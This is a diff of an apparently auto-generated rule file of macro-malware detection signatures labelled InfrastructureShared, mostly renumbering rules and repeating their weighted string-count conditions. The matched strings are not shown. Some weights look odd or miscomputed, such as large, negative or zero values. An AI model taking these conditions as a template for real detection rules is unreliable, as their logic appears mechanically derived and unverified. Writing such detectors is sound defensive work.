_InfrastructureShared_24156{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 04 00 21 " @@ -298501,7 +314984,7 @@ rule _InfrastructureShared_22871{ ((#a_53_0 & 1)*19747+(#a_68_1 & 1)*656+(#a_61_2 & 1)*26994+(#a_74_3 & 1)*28277) >=3 } -rule _InfrastructureShared_22872{ +rule _InfrastructureShared_24157{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -298511,7 +314994,7 @@ rule _InfrastructureShared_22872{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22873{ +rule _InfrastructureShared_24158{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -298521,7 +315004,7 @@ rule _InfrastructureShared_22873{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22874{ +rule _InfrastructureShared_24159{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -298531,7 +315014,7 @@ rule _InfrastructureShared_22874{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22875{ +rule _InfrastructureShared_24160{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -298541,7 +315024,7 @@ rule _InfrastructureShared_22875{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22876{ +rule _InfrastructureShared_24161{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -298551,7 +315034,7 @@ rule _InfrastructureShared_22876{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22877{ +rule _InfrastructureShared_24162{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -298561,7 +315044,7 @@ rule _InfrastructureShared_22877{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22878{ +rule _InfrastructureShared_24163{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -298572,7 +315055,7 @@ rule _InfrastructureShared_22878{ ((#a_53_0 & 1)*19747+(#a_6f_1 & 1)*2573) >=1 } -rule _InfrastructureShared_22879{ +rule _InfrastructureShared_24164{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -298584,7 +315067,7 @@ rule _InfrastructureShared_22879{ ((#a_53_0 & 1)*19747+(#a_69_1 & 1)*28755+(#a_72_2 & 1)*24370) >=1 } -rule _InfrastructureShared_22880{ +rule _InfrastructureShared_24165{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -298597,7 +315080,7 @@ rule _InfrastructureShared_22880{ ((#a_46_0 & 1)*21283+(#a_68_1 & 1)*27756+(#a_41_2 & 1)*25963+(#a_01_3 & 1)*1) >=4 } -rule _InfrastructureShared_22881{ +rule _InfrastructureShared_24166{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -298610,7 +315093,7 @@ rule _InfrastructureShared_22881{ ((#a_46_0 & 1)*21283+(#a_28_1 & 1)*28530+(#a_70_3 & 1)*25857+(#a_90_4 & 1)*12290) >=5 } -rule _InfrastructureShared_22882{ +rule _InfrastructureShared_24167{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -298625,7 +315108,7 @@ rule _InfrastructureShared_22882{ ((#a_53_0 & 1)*19747+(#a_72_1 & 1)*2048+(#a_33_2 & 1)*27748+(#a_22_3 & 1)*12290+(#a_3a_4 & 1)*21587+(#a_02_5 & 1)*25456) >=6 } -rule _InfrastructureShared_22883{ +rule _InfrastructureShared_24168{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -298635,7 +315118,7 @@ rule _InfrastructureShared_22883{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22884{ +rule _InfrastructureShared_24169{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -298645,7 +315128,7 @@ rule _InfrastructureShared_22884{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22885{ +rule _InfrastructureShared_24170{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -298656,7 +315139,7 @@ rule _InfrastructureShared_22885{ ((#a_53_0 & 1)*19747+(#a_54_1 & 1)*24943) >=3 } -rule _InfrastructureShared_22886{ +rule _InfrastructureShared_24171{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -298669,7 +315152,7 @@ rule _InfrastructureShared_22886{ ((#a_63_0 & 1)*19747+(#a_74_1 & 1)*28515+(#a_6c_2 & 1)*28274+(#a_6f_3 & 1)*19538) >=4 } -rule _InfrastructureShared_22887{ +rule _InfrastructureShared_24172{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -298682,7 +315165,7 @@ rule _InfrastructureShared_22887{ ((#a_53_0 & 1)*19747+(#a_4c_2 & 1)*21761+(#a_6c_3 & 1)*17411+(#a_01_4 & 1)*26983) >=5 } -rule _InfrastructureShared_22888{ +rule _InfrastructureShared_24173{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -298696,7 +315179,7 @@ rule _InfrastructureShared_22888{ ((#a_53_0 & 1)*19747+(#a_6f_1 & 1)*19538+(#a_00_2 & 1)*26217+(#a_6f_3 & 1)*23553+(#a_70_4 & 1)*11890) >=6 } -rule _InfrastructureShared_22889{ +rule _InfrastructureShared_24174{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -298711,7 +315194,7 @@ rule _InfrastructureShared_22889{ ((#a_53_0 & 1)*19747+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_78_3 & 1)*0+(#a_73_4 & 1)*19055+(#a_6e_5 & 1)*27247) >=6 } -rule _InfrastructureShared_22890{ +rule _InfrastructureShared_24175{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -298721,7 +315204,7 @@ rule _InfrastructureShared_22890{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22891{ +rule _InfrastructureShared_24176{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -298731,7 +315214,7 @@ rule _InfrastructureShared_22891{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22892{ +rule _InfrastructureShared_24177{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -298741,7 +315224,7 @@ rule _InfrastructureShared_22892{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22893{ +rule _InfrastructureShared_24178{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -298754,7 +315237,7 @@ rule _InfrastructureShared_22893{ ((#a_53_0 & 1)*19747+(#a_01_1 & 1)*28527+(#a_77_2 & 1)*29486+(#a_6e_3 & 1)*22364) >=4 } -rule _InfrastructureShared_22894{ +rule _InfrastructureShared_24179{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -298769,7 +315252,7 @@ rule _InfrastructureShared_22894{ ((#a_53_0 & 1)*19747+(#a_65_1 & 1)*29285+(#a_29_2 & 1)*11312+(#a_54_4 & 1)*18509+(#a_6c_5 & 1)*25710+(#a_22_6 & 1)*656) >=7 } -rule _InfrastructureShared_22895{ +rule _InfrastructureShared_24180{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -298779,7 +315262,7 @@ rule _InfrastructureShared_22895{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22896{ +rule _InfrastructureShared_24181{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -298789,7 +315272,7 @@ rule _InfrastructureShared_22896{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22897{ +rule _InfrastructureShared_24182{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -298799,7 +315282,7 @@ rule _InfrastructureShared_22897{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_22898{ +rule _InfrastructureShared_24183{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 05 00 21 " @@ -298813,7 +315296,7 @@ rule _InfrastructureShared_22898{ ((#a_53_0 & 1)*19747+(#a_50_1 & 1)*8736+(#a_20_2 & 1)*16386+(#a_02_3 & 1)*8235+(#a_6c_4 & 1)*28274) >=1 } -rule _InfrastructureShared_22899{ +rule _InfrastructureShared_24184{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -298825,7 +315308,7 @@ rule _InfrastructureShared_22899{ ((#a_53_0 & 1)*19747+(#a_40_1 & 1)*-28577+(#a_40_2 & 1)*-28640) >=3 } -rule _InfrastructureShared_22900{ +rule _InfrastructureShared_24185{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -298839,7 +315322,7 @@ rule _InfrastructureShared_22900{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*12851+(#a_6c_2 & 1)*17409+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 } -rule _InfrastructureShared_22901{ +rule _InfrastructureShared_24186{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -298854,7 +315337,7 @@ rule _InfrastructureShared_22901{ ((#a_53_0 & 1)*19747+(#a_33_1 & 1)*27748+(#a_75_2 & 1)*11883+(#a_77_3 & 1)*17518+(#a_53_4 & 1)*19747+(#a_2c_5 & 1)*12085) >=6 } -rule _InfrastructureShared_22902{ +rule _InfrastructureShared_24187{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -298864,7 +315347,7 @@ rule _InfrastructureShared_22902{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_22903{ +rule _InfrastructureShared_24188{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -298874,7 +315357,7 @@ rule _InfrastructureShared_22903{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_22904{ +rule _InfrastructureShared_24189{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -298884,7 +315367,7 @@ rule _InfrastructureShared_22904{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22905{ +rule _InfrastructureShared_24190{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -298894,7 +315377,7 @@ rule _InfrastructureShared_22905{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22906{ +rule _InfrastructureShared_24191{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -298905,7 +315388,7 @@ rule _InfrastructureShared_22906{ ((#a_53_0 & 1)*19747+(#a_73_1 & 1)*25975) >=1 } -rule _InfrastructureShared_22907{ +rule _InfrastructureShared_24192{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -298917,7 +315400,7 @@ rule _InfrastructureShared_22907{ ((#a_53_0 & 1)*19747+(#a_6d_1 & 1)*17408+(#a_61_2 & 1)*29810) >=1 } -rule _InfrastructureShared_22908{ +rule _InfrastructureShared_24193{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " @@ -298929,7 +315412,7 @@ rule _InfrastructureShared_22908{ ((#a_53_0 & 1)*19747+(#a_76_1 & 1)*24941+(#a_3d_3 & 1)*9728) >=1 } -rule _InfrastructureShared_22909{ +rule _InfrastructureShared_24194{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -298940,7 +315423,7 @@ rule _InfrastructureShared_22909{ ((#a_53_0 & 1)*19747+(#a_69_1 & 1)*28755) >=2 } -rule _InfrastructureShared_22910{ +rule _InfrastructureShared_24195{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -298953,7 +315436,7 @@ rule _InfrastructureShared_22910{ ((#a_53_0 & 1)*19747+(#a_01_1 & 1)*25960+(#a_72_2 & 1)*31094+(#a_01_3 & 1)*25711) >=4 } -rule _InfrastructureShared_22911{ +rule _InfrastructureShared_24196{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -298967,7 +315450,7 @@ rule _InfrastructureShared_22911{ ((#a_53_0 & 1)*19747+(#a_69_1 & 1)*25938+(#a_64_2 & 1)*26670+(#a_69_3 & 1)*25968+(#a_74_4 & 1)*25970) >=5 } -rule _InfrastructureShared_22912{ +rule _InfrastructureShared_24197{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -298982,7 +315465,7 @@ rule _InfrastructureShared_22912{ ((#a_53_0 & 1)*19747+(#a_64_2 & 1)*29953+(#a_6e_3 & 1)*28783+(#a_00_4 & 1)*10537+(#a_05_5 & 1)*23085+(#a_20_6 & 1)*26988) >=7 } -rule _InfrastructureShared_22913{ +rule _InfrastructureShared_24198{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -298992,7 +315475,7 @@ rule _InfrastructureShared_22913{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22914{ +rule _InfrastructureShared_24199{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -299003,7 +315486,7 @@ rule _InfrastructureShared_22914{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*31277) >=1 } -rule _InfrastructureShared_22915{ +rule _InfrastructureShared_24200{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -299015,7 +315498,7 @@ rule _InfrastructureShared_22915{ ((#a_53_0 & 1)*19747+(#a_01_1 & 1)*23085+(#a_4d_2 & 1)*8448) >=1 } -rule _InfrastructureShared_22916{ +rule _InfrastructureShared_24201{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -299026,7 +315509,7 @@ rule _InfrastructureShared_22916{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*16386) >=2 } -rule _InfrastructureShared_22917{ +rule _InfrastructureShared_24202{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -299037,7 +315520,7 @@ rule _InfrastructureShared_22917{ ((#a_53_0 & 1)*19747+(#a_74_1 & 1)*30054) >=2 } -rule _InfrastructureShared_22918{ +rule _InfrastructureShared_24203{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 03 00 21 " @@ -299049,7 +315532,7 @@ rule _InfrastructureShared_22918{ ((#a_53_0 & 1)*19747+(#a_73_1 & 1)*25964+(#a_3a_2 & 1)*17748) >=2 } -rule _InfrastructureShared_22919{ +rule _InfrastructureShared_24204{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 03 00 21 " @@ -299061,7 +315544,7 @@ rule _InfrastructureShared_22919{ ((#a_4c_0 & 1)*21539+(#a_69_1 & 1)*25206+(#a_00_2 & 1)*21581) >=2 } -rule _InfrastructureShared_22920{ +rule _InfrastructureShared_24205{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -299073,7 +315556,7 @@ rule _InfrastructureShared_22920{ ((#a_54_0 & 1)*18467+(#a_2c_1 & 1)*656+(#a_4f_2 & 1)*22351) >=3 } -rule _InfrastructureShared_22921{ +rule _InfrastructureShared_24206{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -299086,7 +315569,7 @@ rule _InfrastructureShared_22921{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*24951+(#a_4c_2 & 1)*21761+(#a_6f_3 & 1)*28265) >=4 } -rule _InfrastructureShared_22922{ +rule _InfrastructureShared_24207{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -299099,7 +315582,7 @@ rule _InfrastructureShared_22922{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*28271+(#a_44_2 & 1)*20993+(#a_65_3 & 1)*30051) >=4 } -rule _InfrastructureShared_22923{ +rule _InfrastructureShared_24208{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 04 00 21 " @@ -299111,7 +315594,7 @@ rule _InfrastructureShared_22923{ ((#a_53_0 & 1)*19747+(#a_74_2 & 1)*24832+(#a_2c_3 & 1)*26478) >=5 } -rule _InfrastructureShared_22924{ +rule _InfrastructureShared_24209{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -299121,7 +315604,7 @@ rule _InfrastructureShared_22924{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22925{ +rule _InfrastructureShared_24210{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -299132,7 +315615,7 @@ rule _InfrastructureShared_22925{ ((#a_53_0 & 1)*19747+(#a_6e_1 & 1)*27762) >=1 } -rule _InfrastructureShared_22926{ +rule _InfrastructureShared_24211{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -299143,7 +315626,7 @@ rule _InfrastructureShared_22926{ ((#a_53_0 & 1)*19747+(#a_68_1 & 1)*24947) >=1 } -rule _InfrastructureShared_22927{ +rule _InfrastructureShared_24212{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -299155,7 +315638,7 @@ rule _InfrastructureShared_22927{ ((#a_53_0 & 1)*19747+(#a_72_1 & 1)*28783+(#a_6e_2 & 1)*28021) >=1 } -rule _InfrastructureShared_22928{ +rule _InfrastructureShared_24213{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -299166,7 +315649,7 @@ rule _InfrastructureShared_22928{ ((#a_53_0 & 1)*19747+(#a_73_1 & 1)*25964) >=2 } -rule _InfrastructureShared_22929{ +rule _InfrastructureShared_24214{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -299177,7 +315660,7 @@ rule _InfrastructureShared_22929{ ((#a_53_0 & 1)*19747+(#a_77_1 & 1)*22273) >=2 } -rule _InfrastructureShared_22930{ +rule _InfrastructureShared_24215{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -299191,7 +315674,7 @@ rule _InfrastructureShared_22930{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*30034+(#a_6e_2 & 1)*29185+(#a_64_3 & 1)*262+(#a_2e_4 & 1)*28514) >=5 } -rule _InfrastructureShared_22931{ +rule _InfrastructureShared_24216{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -299206,7 +315689,7 @@ rule _InfrastructureShared_22931{ ((#a_53_0 & 1)*19747+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_7c_4 & 1)*0+(#a_61_5 & 1)*28530) >=7 } -rule _InfrastructureShared_22932{ +rule _InfrastructureShared_24217{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -299221,7 +315704,7 @@ rule _InfrastructureShared_22932{ ((#a_53_0 & 1)*19747+(#a_33_1 & 1)*25966+(#a_57_2 & 1)*656+(#a_70_3 & 1)*29808+(#a_26_4 & 1)*17416+(#a_00_6 & 1)*-28928) >=7 } -rule _InfrastructureShared_22933{ +rule _InfrastructureShared_24218{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -299231,7 +315714,7 @@ rule _InfrastructureShared_22933{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_22934{ +rule _InfrastructureShared_24219{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -299241,7 +315724,7 @@ rule _InfrastructureShared_22934{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22935{ +rule _InfrastructureShared_24220{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -299252,7 +315735,7 @@ rule _InfrastructureShared_22935{ ((#a_53_0 & 1)*19747+(#a_46_1 & 1)*29288) >=1 } -rule _InfrastructureShared_22936{ +rule _InfrastructureShared_24221{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -299264,7 +315747,7 @@ rule _InfrastructureShared_22936{ ((#a_53_0 & 1)*19747+(#a_30_1 & 1)*-28557+(#a_03_2 & 1)*1) >=3 } -rule _InfrastructureShared_22937{ +rule _InfrastructureShared_24222{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -299276,7 +315759,7 @@ rule _InfrastructureShared_22937{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*26950+(#a_72_3 & 1)*8253) >=4 } -rule _InfrastructureShared_22938{ +rule _InfrastructureShared_24223{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0c 00 0c 00 04 00 21 " @@ -299289,7 +315772,7 @@ rule _InfrastructureShared_22938{ ((#a_53_0 & 1)*19747+(#a_63_1 & 1)*29264+(#a_90_2 & 1)*258+(#a_7e_3 & 1)*0) >=12 } -rule _InfrastructureShared_22939{ +rule _InfrastructureShared_24224{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -299299,7 +315782,7 @@ rule _InfrastructureShared_22939{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22940{ +rule _InfrastructureShared_24225{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -299309,7 +315792,7 @@ rule _InfrastructureShared_22940{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22941{ +rule _InfrastructureShared_24226{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -299319,7 +315802,7 @@ rule _InfrastructureShared_22941{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22942{ +rule _InfrastructureShared_24227{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -299329,7 +315812,7 @@ rule _InfrastructureShared_22942{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_22943{ +rule _InfrastructureShared_24228{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -299340,7 +315823,7 @@ rule _InfrastructureShared_22943{ ((#a_53_0 & 1)*19747+(#a_39_1 & 1)*12291) >=1 } -rule _InfrastructureShared_22944{ +rule _InfrastructureShared_24229{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -299352,7 +315835,7 @@ rule _InfrastructureShared_22944{ ((#a_54_0 & 1)*18467+(#a_5f_1 & 1)*22048+(#a_6f_2 & 1)*8307) >=1 } -rule _InfrastructureShared_22945{ +rule _InfrastructureShared_24230{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -299363,7 +315846,7 @@ rule _InfrastructureShared_22945{ ((#a_53_0 & 1)*19747+(#a_74_1 & 1)*30054) >=2 } -rule _InfrastructureShared_22946{ +rule _InfrastructureShared_24231{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -299374,7 +315857,7 @@ rule _InfrastructureShared_22946{ ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*21364) >=2 } -rule _InfrastructureShared_22947{ +rule _InfrastructureShared_24232{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -299388,7 +315871,7 @@ rule _InfrastructureShared_22947{ ((#a_53_0 & 1)*19747+(#a_31_1 & 1)*13620+(#a_53_2 & 1)*8448+(#a_70_3 & 1)*11883+(#a_74_4 & 1)*24420) >=5 } -rule _InfrastructureShared_22948{ +rule _InfrastructureShared_24233{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -299402,7 +315885,7 @@ rule _InfrastructureShared_22948{ ((#a_46_0 & 1)*21283+(#a_70_1 & 1)*4352+(#a_61_2 & 1)*25971+(#a_2c_3 & 1)*28271+(#a_64_4 & 1)*29554) >=5 } -rule _InfrastructureShared_22949{ +rule _InfrastructureShared_24234{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -299412,7 +315895,7 @@ rule _InfrastructureShared_22949{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22950{ +rule _InfrastructureShared_24235{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 05 00 21 " @@ -299425,7 +315908,7 @@ rule _InfrastructureShared_22950{ ((#a_53_0 & 1)*19747+(#a_64_2 & 1)*29793+(#a_65_3 & 1)*12851+(#a_5f_4 & 1)*-28625) >=1 } -rule _InfrastructureShared_22951{ +rule _InfrastructureShared_24236{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 01 00 21 " @@ -299435,7 +315918,7 @@ rule _InfrastructureShared_22951{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_22952{ +rule _InfrastructureShared_24237{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 06 00 21 " @@ -299450,7 +315933,7 @@ rule _InfrastructureShared_22952{ ((#a_53_0 & 1)*19747+(#a_4d_1 & 1)*5120+(#a_2e_2 & 1)*19533+(#a_75_3 & 1)*25167+(#a_29_4 & 1)*8236+(#a_6e_5 & 1)*21294) >=2 } -rule _InfrastructureShared_22953{ +rule _InfrastructureShared_24238{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -299461,7 +315944,7 @@ rule _InfrastructureShared_22953{ ((#a_53_0 & 1)*19747+(#a_4c_1 & 1)*18773) >=3 } -rule _InfrastructureShared_22954{ +rule _InfrastructureShared_24239{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 06 00 21 " @@ -299476,7 +315959,7 @@ rule _InfrastructureShared_22954{ ((#a_53_0 & 1)*19747+(#a_4d_1 & 1)*5120+(#a_2e_2 & 1)*19533+(#a_3a_3 & 1)*29545+(#a_23_4 & 1)*5+(#a_01_5 & 1)*27748) >=3 } -rule _InfrastructureShared_22955{ +rule _InfrastructureShared_24240{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -299489,7 +315972,7 @@ rule _InfrastructureShared_22955{ ((#a_6c_0 & 1)*16675+(#a_74_1 & 1)*25960+(#a_6e_2 & 1)*8253+(#a_2e_3 & 1)*28484) >=4 } -rule _InfrastructureShared_22956{ +rule _InfrastructureShared_24241{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -299503,7 +315986,7 @@ rule _InfrastructureShared_22956{ ((#a_53_0 & 1)*19747+(#a_00_1 & 